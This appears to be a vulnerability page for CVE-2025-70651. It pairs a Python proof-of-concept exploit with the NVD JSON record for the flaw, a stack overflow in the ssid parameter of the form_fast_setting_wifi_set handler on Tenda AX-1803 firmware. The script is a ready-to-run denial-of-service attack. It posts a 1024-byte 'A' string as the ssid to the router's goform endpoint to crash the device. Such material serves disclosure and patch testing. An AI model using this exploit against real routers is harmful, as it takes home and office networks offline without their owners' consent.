CVE-2025-70651

import requests # CVE-2025-70651 PoC - Tenda AX-1803 Stack Overflow in form_fast_setting_wifi_set # Target: Tenda AX-1803 v1.0.0.1 # Vulnerability: Stack overflow in ssid parameter of form_fast_setting_wifi_set function # Impact: Denial of Service (DoS) target_ip = "192.168.0.1" # Default Tenda router IP target_port = 80 target_url = f"http://{target_ip}:{target_port}/goform/form_fast_setting_wifi_set" # Generate payload with oversized ssid parameter to trigger stack overflow # The exact buffer size needs to be determined through reverse engineering # Typical stack buffer sizes in embedded devices range from 64 to 256 bytes overflow_length = 1024 # Length sufficient to overflow typical stack buffer payload_ssid = "A" * overflow_length # Construct the malicious request data = { "ssid": payload_ssid, "password": "test123456", # Valid password to pass basic validation if any "security_mode": "wpawpa2psk" } print(f"[*] Sending exploit payload to {target_url}") print(f"[*] Payload length: {overflow_length} bytes") try: response = requests.post(target_url, data=data, timeout=10) print(f"[*] Response Status: {response.status_code}") print("[*] Exploit sent. If vulnerable, the device should crash or become unresponsive.") except requests.exceptions.RequestException as e: print(f"[*] Request failed or device is unresponsive: {e}") print("[*] This may indicate successful exploitation.")

{"cve": {"id": "CVE-2025-70651", "sourceIdentifier": "[email protected]", "published": "2026-01-21T16:16:07.657", "lastModified": "2026-01-26T21:01:47.723", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tenda AX-1803 v1.0.0.1 was discovered to contain a stack overflow in the ssid parameter of the form_fast_setting_wifi_set function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted request."}, {"lang": "es", "value": "Tenda AX-1803 v1.0.0.1 se descubrió que contenía un desbordamiento de pila en el parámetro ssid de la función form_fast_setting_wifi_set. Esta vulnerabilidad permite a los atacantes causar una Denegación de Servicio (DoS) a través de una solicitud manipulada."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ax1803_firmware:1.0.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "B81C53EE-14CD-426B-ADF3-6D9B4D69DC84"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ax1803:-:*:*:*:*:*:*:*", "matchCriteriaId": "413B93A8-6188-4D89-8141-C5B73F4AA071"}]}]}], "references": [{"url": "https://github.com/0-fool/VulnbyCola/blob/main/Tenda/AX-1803/4/1.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}